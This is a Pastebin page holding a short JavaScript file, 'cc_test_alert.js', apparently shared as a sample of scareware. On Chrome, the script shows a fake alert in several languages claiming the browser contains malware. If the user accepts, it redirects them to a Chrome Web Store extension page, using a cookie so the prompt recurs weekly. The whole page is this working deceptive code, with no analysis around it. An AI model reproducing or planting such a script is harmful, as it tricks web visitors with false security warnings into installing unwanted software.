SHARE
TWEET

cc_test_alert.js

bartblaze Jul 22nd, 2016 39 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function getCookie(name) {
  2.   var matches = document.cookie.match(new RegExp(
  3.     "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
  4.   ));
  5.   return matches ? decodeURIComponent(matches[1]) : undefined;
  6. }
  7.  
  8. var ua = navigator.userAgent.toLowerCase();
  9. var is_chrome = ua.indexOf("chrome") > -1;
  10.  
  11. if (is_chrome && getCookie('_sb_last_visit_2') != 'yes') {
  12.     var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage);
  13.     if (lang) lang = lang.substring(0, 2);
  14.     console.log('lang: ' + lang);
  15.  
  16.     var date = new Date;
  17.     date.setDate(date.getDate() + 7);
  18.  
  19.     document.cookie = "_sb_last_visit_2=yes; path=/; expires=" + date.toUTCString();
  20.  
  21.     var not_installed = document.getElementById('_chrome_extension_1') === null;
  22.  
  23. lang = 'en';
  24.  
  25.     var msg = 'Your browser contains MALWARE. You have to install Chrome Malware Removal tool.';
  26.  
  27.     if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
  28.     if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
  29.     if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
  30.     if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
  31.     if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
  32.     if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
  33.     if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";
  34.  
  35.     if (not_installed) {
  36.         if (confirm(msg)) {
  37.             window.top.location.href='https://chrome.google.com/webstore/detail/chrome-malware-removal-to/mbdoonnjlifcmakklcaembokjhjikank?utm_source=cc&utm_medium=alert&utm_campaign=mlw';
  38.         } else {
  39.         }
  40.     }    
  41. }
RAW Paste Data
Top